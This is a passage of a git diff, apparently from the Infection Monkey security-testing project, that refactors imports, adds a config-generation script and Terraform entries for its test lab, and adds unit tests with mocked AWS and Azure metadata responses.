import \ - SampleFileParser +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import SampleFileParser from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import \ FakeIpGenerator -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_monkey import \ - FakeMonkey +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_monkey import FakeMonkey TELEM_DIR_PATH = './tests/performance/telemetry_sample' LOGGER = logging.getLogger(__name__) diff --git a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py index 75802449e..699876cce 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py @@ -4,16 +4,11 @@ from datetime import timedelta from tqdm import tqdm -from envs.monkey_zoo.blackbox.analyzers.performance_analyzer import \ - PerformanceAnalyzer -from envs.monkey_zoo.blackbox.island_client.monkey_island_client import \ - MonkeyIslandClient -from envs.monkey_zoo.blackbox.island_client.supported_request_method import \ - SupportedRequestMethod -from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import \ - PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import \ - SampleFileParser +from envs.monkey_zoo.blackbox.analyzers.performance_analyzer import PerformanceAnalyzer +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient +from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod +from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig +from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import SampleFileParser LOGGER = logging.getLogger(__name__) diff --git a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py index b63d904e1..6d09752ca 100644 --- a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py +++ b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test_workflow.py @@ -1,10 +1,7 @@ from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest -from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import \ - EndpointPerformanceTest -from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import \ - PerformanceTestConfig -from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import \ - TelemetryPerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import EndpointPerformanceTest +from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig +from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import TelemetryPerformanceTest class TelemetryPerformanceTestWorkflow(BasicTest): diff --git a/envs/monkey_zoo/blackbox/utils/README.md b/envs/monkey_zoo/blackbox/utils/README.md new file mode 100644 index 000000000..69a6b8930 --- /dev/null +++ b/envs/monkey_zoo/blackbox/utils/README.md @@ -0,0 +1,13 @@ +# BlackBox utility scripts + +## Config generation script + +This script is used to generate config files for manual tests. +Config file will be generated according to the templates in `envs/monkey_zoo/blackbox/config_templates`. + +1. Reset the Island config to contain default configuration. +2. Run `envs/monkey_zoo/blackbox/utils/config_generation_script.py island_ip:5000` to populate +`envs/monkey_zoo/blackbox/utils/generated_configs` directory with configuration files. + +!! It's important to target the Island you'll be testing, because configs contain Island's IPs +in the configuration !! diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py new file mode 100644 index 000000000..603e9fe4d --- /dev/null +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -0,0 +1,78 @@ +import argparse +import pathlib +from typing import Type + +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate +from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal +from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic +from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop +from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql +from envs.monkey_zoo.blackbox.config_templates.performance import Performance +from envs.monkey_zoo.blackbox.config_templates.shellshock import ShellShock +from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz +from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth +from envs.monkey_zoo.blackbox.config_templates.ssh import Ssh +from envs.monkey_zoo.blackbox.config_templates.struts2 import Struts2 +from envs.monkey_zoo.blackbox.config_templates.tunneling import Tunneling +from envs.monkey_zoo.blackbox.config_templates.weblogic import Weblogic +from envs.monkey_zoo.blackbox.config_templates.wmi_mimikatz import WmiMimikatz +from envs.monkey_zoo.blackbox.config_templates.wmi_pth import WmiPth +from envs.monkey_zoo.blackbox.config_templates.zerologon import Zerologon +from envs.monkey_zoo.blackbox.island_client.island_config_parser import ( + IslandConfigParser, +) +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import ( + MonkeyIslandClient, +) + +DST_DIR_NAME = "generated_configs" +DST_DIR_PATH = pathlib.Path(pathlib.Path(__file__).parent.absolute(), DST_DIR_NAME) + +parser = argparse.ArgumentParser(description="Generate config files.") +parser.add_argument( + "island_ip", + metavar="IP:PORT", + help="Island endpoint. Example: 123.123.123.123:5000", +) + +args = parser.parse_args() +island_client = MonkeyIslandClient(args.island_ip) + + +CONFIG_TEMPLATES = [ + Elastic, + Hadoop, + Mssql, + Performance, + ShellShock, + SmbMimikatz, + SmbPth, + Ssh, + Struts2, + Tunneling, + Weblogic, + WmiMimikatz, + WmiPth, + Zerologon, + Drupal, +] + + +def generate_templates(): + for template in CONFIG_TEMPLATES: + save_template_as_config(template) + + +def save_template_as_config(template: Type[ConfigTemplate]): + file_path = pathlib.Path(DST_DIR_PATH, f"{template.__name__}.conf") + file_contents = IslandConfigParser.get_raw_config(template, island_client) + save_to_file(file_path, file_contents) + + +def save_to_file(file_path, contents): + with open(file_path, "w") as file: + file.write(contents) + + +if __name__ == "__main__": + generate_templates() diff --git a/envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore b/envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore new file mode 100644 index 000000000..9c558e357 --- /dev/null +++ b/envs/monkey_zoo/blackbox/utils/generated_configs/.gitignore @@ -0,0 +1 @@ +. diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index e788bb36c..3cdc79f74 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -58,13 +58,13 @@ Requirements: To deploy: 1. Configure service account for your project: - a. Create a service account (GCP website -> IAM -> service accounts) and name it “your\_name-monkeyZoo-user” + a. Create a service account (GCP website -> IAM & Admin -> Service Accounts -> + CREATE SERVICE ACCOUNT) and name it “your\_name-monkeyZoo-user” b. Give these permissions to your service account: **Compute Engine -> Compute Network Admin** and - **Compute Engine -> Compute Instance Admin** + **Compute Engine -> Compute Instance Admin (v1)** and **Compute Engine -> Compute Security Admin** and @@ -74,10 +74,12 @@ To deploy: **Project -> Owner** - c. Download its **Service account key** in JSON and place it in **/gcp_keys** as **gcp_key.json**. -2. Get these permissions in monkeyZoo project for your service account (ask monkey developers to add them): + c. Create and download its **Service account key** in JSON and place it in **monkey_zoo/gcp_keys** as **gcp_key.json**. + +2. Get these permissions in the monkeyZoo project (guardicore-22050661) for your service account (ask monkey developers to add them): a. **Compute Engine -\> Compute image user** + 3. Change configurations located in the ../monkey/envs/monkey\_zoo/terraform/config.tf file (don’t forget to link to your service account key file): @@ -1098,6 +1100,26 @@ fullTest.conf is a good config to start, because it covers all machines. + + + + + + + + + + + + + + + + + +

Nr. 25 ZeroLogon

+

(10.2.2.25)

(Vulnerable)
OS:Server 2016
Default server’s port:135
+ diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 4c01ff4d2..866a4f174 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -85,6 +85,14 @@ data "google_compute_image" "struts2-24" { name = "struts2-24" project = local.monkeyzoo_project } +data "google_compute_image" "zerologon-25" { + name = "zerologon-25" + project = local.monkeyzoo_project +} +data "google_compute_image" "drupal-28" { + name = "drupal-28" + project = local.monkeyzoo_project +} data "google_compute_image" "island-linux-250" { name = "island-linux-250" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index bb7c4d72d..5eabc160b 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -432,6 +432,36 @@ resource "google_compute_instance_from_template" "struts2-24" { } } +resource "google_compute_instance_from_template" "zerologon-25" { + name = "${local.resource_prefix}zerologon-25" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.zerologon-25.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.2.25" + } +} + +resource "google_compute_instance_from_template" "drupal-28" { + name = "${local.resource_prefix}drupal-28" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.drupal-28.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.2.28" + } +} + resource "google_compute_instance_from_template" "island-linux-250" { name = "${local.resource_prefix}island-linux-250" machine_type = "n1-standard-2" diff --git a/envs/os_compatibility/README.md b/envs/os_compatibility/README.md index 6b97b6612..e0ad30dec 100644 --- a/envs/os_compatibility/README.md +++ b/envs/os_compatibility/README.md @@ -57,6 +57,7 @@ A quick reference for usernames on different machines (if in doubt check officia - Ubuntu: ubuntu - Oracle: clckwrk - CentOS: centos +- Debian: admin - Everything else: ec2-user To manually verify the machine is compatible use commands to download and execute the monkey. diff --git a/envs/os_compatibility/test_compatibility.py b/envs/os_compatibility/test_compatibility.py index 17d2d3735..1cf5220bb 100644 --- a/envs/os_compatibility/test_compatibility.py +++ b/envs/os_compatibility/test_compatibility.py @@ -1,7 +1,6 @@ import pytest -from envs.monkey_zoo.blackbox.island_client.monkey_island_client import \ - MonkeyIslandClient +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient machine_list = { "10.0.0.36": "centos_6", diff --git a/monkey/.coveragerc b/monkey/.coveragerc new file mode 100644 index 000000000..722e8d71a --- /dev/null +++ b/monkey/.coveragerc @@ -0,0 +1,4 @@ +[run] +omit = + */test_*.py + */*_test.py diff --git a/monkey/common/cloud/aws/aws_instance.py b/monkey/common/cloud/aws/aws_instance.py index d09169407..75dee4ce9 100644 --- a/monkey/common/cloud/aws/aws_instance.py +++ b/monkey/common/cloud/aws/aws_instance.py @@ -1,8 +1,7 @@ import json import logging import re -import urllib.error -import urllib.request +import requests from common.cloud.environment_names import Environment from common.cloud.instance import CloudInstance @@ -33,19 +32,17 @@ class AwsInstance(CloudInstance): self.account_id = None try: - self.instance_id = urllib.request.urlopen( - AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read().decode() + response = requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2) + self.instance_id = response.text if response else None self.region = self._parse_region( - urllib.request.urlopen( - AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().decode()) - except (urllib.error.URLError, IOError) as e: + requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').text) + except (requests.RequestException, IOError) as e: logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e)) try: self.account_id = self._extract_account_id( - urllib.request.urlopen( - AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read().decode()) - except (urllib.error.URLError, IOError) as e: + requests.get(AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).text) + except (requests.RequestException, json.decoder.JSONDecodeError, IOError) as e: logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e)) @staticmethod diff --git a/monkey/common/cloud/aws/test_aws_instance.py b/monkey/common/cloud/aws/test_aws_instance.py new file mode 100644 index 000000000..0353a0b9f --- /dev/null +++ b/monkey/common/cloud/aws/test_aws_instance.py @@ -0,0 +1,300 @@ +import json + +import pytest +import requests +import requests_mock + +from common.cloud.aws.aws_instance import (AWS_LATEST_METADATA_URI_PREFIX, + AwsInstance) +from common.cloud.environment_names import Environment + + +INSTANCE_ID_RESPONSE = 'i-1234567890abcdef0' + +AVAILABILITY_ZONE_RESPONSE = 'us-west-2b' + +# from https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html +INSTANCE_IDENTITY_DOCUMENT_RESPONSE = """ +{ + "devpayProductCodes": null, + "marketplaceProductCodes": ["1abc2defghijklm3nopqrs4tu"], + "availabilityZone": "us-west-2b", + "privateIp": "10.158.112.84", + "version": "2017-09-30", + "instanceId": "i-1234567890abcdef0", + "billingProducts": null, + "instanceType": "t2.micro", + "accountId": "123456789012", + "imageId": "ami-5fb8c835", + "pendingTime": "2016-11-19T16:32:11Z", + "architecture": "x86_64", + "kernelId": null, + "ramdiskId": null, + "region": "us-west-2" +} +""" + + +EXPECTED_INSTANCE_ID = 'i-1234567890abcdef0' + +EXPECTED_REGION = 'us-west-2' + +EXPECTED_ACCOUNT_ID = '123456789012' + + +def get_test_aws_instance(text={'instance_id': None, + 'region': None, + 'account_id': None}, + exception={'instance_id': None, + 'region': None, + 'account_id': None}): + with requests_mock.Mocker() as m: + # request made to get instance_id + url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id' + m.get(url, text=text['instance_id']) if text['instance_id'] else m.get( + url, exc=exception['instance_id']) + + # request made to get region + url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/placement/availability-zone' + m.get(url, text=text['region']) if text['region'] else m.get( + url, exc=exception['region']) + + # request made to get account_id + url = f'{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document' + m.get(url, text=text['account_id']) if text['account_id'] else m.get( + url, exc=exception['account_id']) + + test_aws_instance_object = AwsInstance() + return test_aws_instance_object + + +# all good data +@pytest.fixture +def good_data_mock_instance(): + return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, + 'region': AVAILABILITY_ZONE_RESPONSE, + 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}) + + +def test_is_instance_good_data(good_data_mock_instance): + assert good_data_mock_instance.is_instance() + + +def test_get_cloud_provider_name_good_data(good_data_mock_instance): + assert good_data_mock_instance.get_cloud_provider_name() == Environment.AWS + + +def test_get_instance_id_good_data(good_data_mock_instance): + assert good_data_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID + + +def test_get_region_good_data(good_data_mock_instance): + assert good_data_mock_instance.get_region() == EXPECTED_REGION + + +def test_get_account_id_good_data(good_data_mock_instance): + assert good_data_mock_instance.get_account_id() == EXPECTED_ACCOUNT_ID + + +# 'region' bad data +@pytest.fixture +def bad_region_data_mock_instance(): + return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, + 'region': 'in-a-different-world', + 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}) + + +def test_is_instance_bad_region_data(bad_region_data_mock_instance): + assert bad_region_data_mock_instance.is_instance() + + +def test_get_cloud_provider_name_bad_region_data(bad_region_data_mock_instance): + assert bad_region_data_mock_instance.get_cloud_provider_name() == Environment.AWS + + +def test_get_instance_id_bad_region_data(bad_region_data_mock_instance): + assert bad_region_data_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID + + +def test_get_region_bad_region_data(bad_region_data_mock_instance): + assert bad_region_data_mock_instance.get_region() is None + + +def test_get_account_id_bad_region_data(bad_region_data_mock_instance): + assert bad_region_data_mock_instance.get_account_id() == EXPECTED_ACCOUNT_ID + + +# 'account_id' bad data +@pytest.fixture +def bad_account_id_data_mock_instance(): + return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, + 'region': AVAILABILITY_ZONE_RESPONSE, + 'account_id': 'who-am-i'}) + + +def test_is_instance_bad_account_id_data(bad_account_id_data_mock_instance): + assert bad_account_id_data_mock_instance.is_instance() + + +def test_get_cloud_provider_name_bad_account_id_data(bad_account_id_data_mock_instance): + assert bad_account_id_data_mock_instance.get_cloud_provider_name() == Environment.AWS + + +def test_get_instance_id_bad_account_id_data(bad_account_id_data_mock_instance): + assert bad_account_id_data_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID + + +def test_get_region_bad_account_id_data(bad_account_id_data_mock_instance): + assert bad_account_id_data_mock_instance.get_region() == EXPECTED_REGION + + +def test_get_account_id_data_bad_account_id_data(bad_account_id_data_mock_instance): + assert bad_account_id_data_mock_instance.get_account_id() is None + + +# 'instance_id' bad requests +@pytest.fixture +def bad_instance_id_request_mock_instance(instance_id_exception): + return get_test_aws_instance(text={'instance_id': None, + 'region': AVAILABILITY_ZONE_RESPONSE, + 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}, + exception={'instance_id': instance_id_exception, + 'region': None, + 'account_id': None}) + + +@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +def test_is_instance_bad_instance_id_request(bad_instance_id_request_mock_instance): + assert bad_instance_id_request_mock_instance.is_instance() is False + + +@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +def test_get_cloud_provider_name_bad_instance_id_request(bad_instance_id_request_mock_instance): + assert bad_instance_id_request_mock_instance.get_cloud_provider_name() == Environment.AWS + + +@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +def test_get_instance_id_bad_instance_id_request(bad_instance_id_request_mock_instance): + assert bad_instance_id_request_mock_instance.get_instance_id() is None + + +@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +def test_get_region_bad_instance_id_request(bad_instance_id_request_mock_instance): + assert bad_instance_id_request_mock_instance.get_region() is None + + +@pytest.mark.parametrize('instance_id_exception', [requests.RequestException, IOError]) +def test_get_account_id_bad_instance_id_request(bad_instance_id_request_mock_instance): + assert bad_instance_id_request_mock_instance.get_account_id() == EXPECTED_ACCOUNT_ID + + +# 'region' bad requests +@pytest.fixture +def bad_region_request_mock_instance(region_exception): + return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, + 'region': None, + 'account_id': INSTANCE_IDENTITY_DOCUMENT_RESPONSE}, + exception={'instance_id': None, + 'region': region_exception, + 'account_id': None}) + + +@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +def test_is_instance_bad_region_request(bad_region_request_mock_instance): + assert bad_region_request_mock_instance.is_instance() + + +@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +def test_get_cloud_provider_name_bad_region_request(bad_region_request_mock_instance): + assert bad_region_request_mock_instance.get_cloud_provider_name() == Environment.AWS + + +@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +def test_get_instance_id_bad_region_request(bad_region_request_mock_instance): + assert bad_region_request_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID + + +@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +def test_get_region_bad_region_request(bad_region_request_mock_instance): + assert bad_region_request_mock_instance.get_region() is None + + +@pytest.mark.parametrize('region_exception', [requests.RequestException, IOError]) +def test_get_account_id_bad_region_request(bad_region_request_mock_instance): + assert bad_region_request_mock_instance.get_account_id() == EXPECTED_ACCOUNT_ID + + +# 'account_id' bad requests +@pytest.fixture +def bad_account_id_request_mock_instance(account_id_exception): + return get_test_aws_instance(text={'instance_id': INSTANCE_ID_RESPONSE, + 'region': AVAILABILITY_ZONE_RESPONSE, + 'account_id': None}, + exception={'instance_id': None, + 'region': None, + 'account_id': account_id_exception}) + + +@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +def test_is_instance_bad_account_id_request(bad_account_id_request_mock_instance): + assert bad_account_id_request_mock_instance.is_instance() + + +@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +def test_get_cloud_provider_name_bad_account_id_request(bad_account_id_request_mock_instance): + assert bad_account_id_request_mock_instance.get_cloud_provider_name() == Environment.AWS + + +@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +def test_get_instance_id_bad_account_id_request(bad_account_id_request_mock_instance): + assert bad_account_id_request_mock_instance.get_instance_id() == EXPECTED_INSTANCE_ID + + +@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +def test_get_region_bad_account_id_request(bad_account_id_request_mock_instance): + assert bad_account_id_request_mock_instance.get_region() == EXPECTED_REGION + + +@pytest.mark.parametrize('account_id_exception', [requests.RequestException, IOError]) +def test_get_account_id_bad_account_id_request(bad_account_id_request_mock_instance): + assert bad_account_id_request_mock_instance.get_account_id() is None + + +# not found request +@pytest.fixture +def not_found_request_mock_instance(): + with requests_mock.Mocker() as m: + # request made to get instance_id + url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id' + m.get(url, status_code=404) + + # request made to get region + url = f'{AWS_LATEST_METADATA_URI_PREFIX}meta-data/placement/availability-zone' + m.get(url) + + # request made to get account_id + url = f'{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document' + m.get(url) + + not_found_aws_instance_object = AwsInstance() + return not_found_aws_instance_object + + +def test_is_instance_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.get_cloud_provider_name() == Environment.AWS + + +def test_get_instance_id_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.get_instance_id() is None + + +def test_get_region_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.get_region() is None + + +def test_get_account_id_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.get_account_id() is None diff --git a/monkey/common/cloud/aws/aws_service_test.py b/monkey/common/cloud/aws/test_aws_service.py similarity index 100% rename from monkey/common/cloud/aws/aws_service_test.py rename to monkey/common/cloud/aws/test_aws_service.py diff --git a/monkey/common/cloud/azure/azure_instance.py b/monkey/common/cloud/azure/azure_instance.py index eb702a03d..969e4a8ca 100644 --- a/monkey/common/cloud/azure/azure_instance.py +++ b/monkey/common/cloud/azure/azure_instance.py @@ -1,9 +1,11 @@ import logging import requests +import simplejson from common.cloud.environment_names import Environment from common.cloud.instance import CloudInstance +from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT LATEST_AZURE_METADATA_API_VERSION = "2019-04-30" AZURE_METADATA_SERVICE_URL = "http://169.254.169.254/metadata/instance?api-version=%s" % LATEST_AZURE_METADATA_API_VERSION @@ -17,7 +19,7 @@ class AzureInstance(CloudInstance): Based on Azure metadata service: https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service """ def is_instance(self): - return self.on_azure + return self._on_azure def get_cloud_provider_name(self) -> Environment: return Environment.AZURE @@ -29,22 +31,22 @@ class AzureInstance(CloudInstance): self.instance_name = None self.instance_id = None self.location = None - self.on_azure = False + self._on_azure = False try: - response = requests.get(AZURE_METADATA_SERVICE_URL, headers={"Metadata": "true"}) - self.on_azure = True + response = requests.get(AZURE_METADATA_SERVICE_URL, + headers={"Metadata": "true"}, + timeout=SHORT_REQUEST_TIMEOUT) # If not on cloud, the metadata URL is non-routable and the connection will fail. # If on AWS, should get 404 since the metadata service URL is different, so bool(response) will be false. if response: - logger.debug("On Azure. Trying to parse metadata.") + logger.debug("Trying to parse Azure metadata.") self.try_parse_response(response) else: - logger.warning("On Azure, but metadata response not ok: {}".format(response.status_code)) + logger.warning(f"Metadata response not ok: {response.status_code}") except requests.RequestException: logger.debug("Failed to get response from Azure metadata service: This instance is not on Azure.") - self.on_azure = False def try_parse_response(self, response): try: @@ -52,5 +54,6 @@ class AzureInstance(CloudInstance): self.instance_name = response_data["compute"]["name"] self.instance_id = response_data["compute"]["vmId"] self.location = response_data["compute"]["location"] - except KeyError: - logger.exception("Error while parsing response from Azure metadata service.") + self._on_azure = True + except (KeyError, simplejson.errors.JSONDecodeError) as e: + logger.exception(f"Error while parsing response from Azure metadata service: {e}") diff --git a/monkey/common/cloud/azure/test_azure_instance.py b/monkey/common/cloud/azure/test_azure_instance.py new file mode 100644 index 000000000..680af90ed --- /dev/null +++ b/monkey/common/cloud/azure/test_azure_instance.py @@ -0,0 +1,199 @@ +import pytest +import requests +import requests_mock +import simplejson + +from common.cloud.azure.azure_instance import (AZURE_METADATA_SERVICE_URL, + AzureInstance) +from common.cloud.environment_names import Environment + + +GOOD_DATA = { + 'compute': {'azEnvironment': 'AZUREPUBLICCLOUD', + 'isHostCompatibilityLayerVm': 'true', + 'licenseType': 'Windows_Client', + 'location': 'westus', + 'name': 'examplevmname', + 'offer': 'Windows', + 'osProfile': {'adminUsername': 'admin', + 'computerName': 'examplevmname', + 'disablePasswordAuthentication': 'true'}, + 'osType': 'linux', + 'placementGroupId': 'f67c14ab-e92c-408c-ae2d-da15866ec79a', + 'plan': {'name': 'planName', + 'product': 'planProduct', + 'publisher': 'planPublisher'}, + 'platformFaultDomain': '36', + 'platformUpdateDomain': '42', + 'publicKeys': [{'keyData': 'ssh-rsa 0', + 'path': '/home/user/.ssh/authorized_keys0'}, + {'keyData': 'ssh-rsa 1', + 'path': '/home/user/.ssh/authorized_keys1'}], + 'publisher': 'RDFE-Test-Microsoft-Windows-Server-Group', + 'resourceGroupName': 'macikgo-test-may-23', + 'resourceId': '/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/resourceGroups/macikgo-test-may-23/' + 'providers/Microsoft.Compute/virtualMachines/examplevmname', + 'securityProfile': {'secureBootEnabled': 'true', + 'virtualTpmEnabled': 'false'}, + 'sku': 'Windows-Server-2012-R2-Datacenter', + 'storageProfile': {'dataDisks': [{'caching': 'None', + 'createOption': 'Empty', + 'diskSizeGB': '1024', + 'image': {'uri': ''}, + 'lun': '0', + 'managedDisk': {'id': '/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/' + 'resourceGroups/macikgo-test-may-23/providers/' + 'Microsoft.Compute/disks/exampledatadiskname', + 'storageAccountType': 'Standard_LRS'}, + 'name': 'exampledatadiskname', + 'vhd': {'uri': ''}, + 'writeAcceleratorEnabled': 'false'}], + 'imageReference': {'id': '', + 'offer': 'UbuntuServer', + 'publisher': 'Canonical', + 'sku': '16.04.0-LTS', + 'version': 'latest'}, + 'osDisk': {'caching': 'ReadWrite', + 'createOption': 'FromImage', + 'diskSizeGB': '30', + 'diffDiskSettings': {'option': 'Local'}, + 'encryptionSettings': {'enabled': 'false'}, + 'image': {'uri': ''}, + 'managedDisk': {'id': '/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/' + 'resourceGroups/macikgo-test-may-23/providers/' + 'Microsoft.Compute/disks/exampleosdiskname', + 'storageAccountType': 'Standard_LRS'}, + 'name': 'exampleosdiskname', + 'osType': 'Linux', + 'vhd': {'uri': ''}, + 'writeAcceleratorEnabled': 'false'}}, + 'subscriptionId': 'xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx', + 'tags': 'baz:bash;foo:bar', + 'version': '15.05.22', + 'vmId': '02aab8a4-74ef-476e-8182-f6d2ba4166a6', + 'vmScaleSetName': 'crpteste9vflji9', + 'vmSize': 'Standard_A3', + 'zone': ''}, + 'network': {'interface': [{'ipv4': {'ipAddress': [{'privateIpAddress': '10.144.133.132', + 'publicIpAddress': ''}], + 'subnet': [{'address': '10.144.133.128', + 'prefix': '26'}]}, + 'ipv6': {'ipAddress': []}, + 'macAddress': '0011AAFFBB22'}]} + } + + +BAD_DATA_NOT_JSON = '\n\n\n\n\nWaiting...\n\n\n\n\n' + + +BAD_DATA_JSON = {'': ''} + + +def get_test_azure_instance(url, **kwargs): + with requests_mock.Mocker() as m: + m.get(url, **kwargs) + test_azure_instance_object = AzureInstance() + return test_azure_instance_object + + +# good request, good data +@pytest.fixture +def good_data_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=simplejson.dumps(GOOD_DATA)) + + +def test_is_instance_good_data(good_data_mock_instance): + assert good_data_mock_instance.is_instance() + + +def test_get_cloud_provider_name_good_data(good_data_mock_instance): + assert good_data_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_try_parse_response_good_data(good_data_mock_instance): + assert good_data_mock_instance.instance_name == GOOD_DATA['compute']['name'] + assert good_data_mock_instance.instance_id == GOOD_DATA['compute']['vmId'] + assert good_data_mock_instance.location == GOOD_DATA['compute']['location'] + + +# good request, bad data (json) +@pytest.fixture +def bad_data_json_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=simplejson.dumps(BAD_DATA_JSON)) + + +def test_is_instance_bad_data_json(bad_data_json_mock_instance): + assert bad_data_json_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_bad_data_json(bad_data_json_mock_instance): + assert bad_data_json_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_instance_attributes_bad_data_json(bad_data_json_mock_instance): + assert bad_data_json_mock_instance.instance_name is None + assert bad_data_json_mock_instance.instance_id is None + assert bad_data_json_mock_instance.location is None + + +# good request, bad data (not json) +@pytest.fixture +def bad_data_not_json_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, text=BAD_DATA_NOT_JSON) + + +def test_is_instance_bad_data_not_json(bad_data_not_json_mock_instance): + assert bad_data_not_json_mock_instance.is_instance() is False + + +def 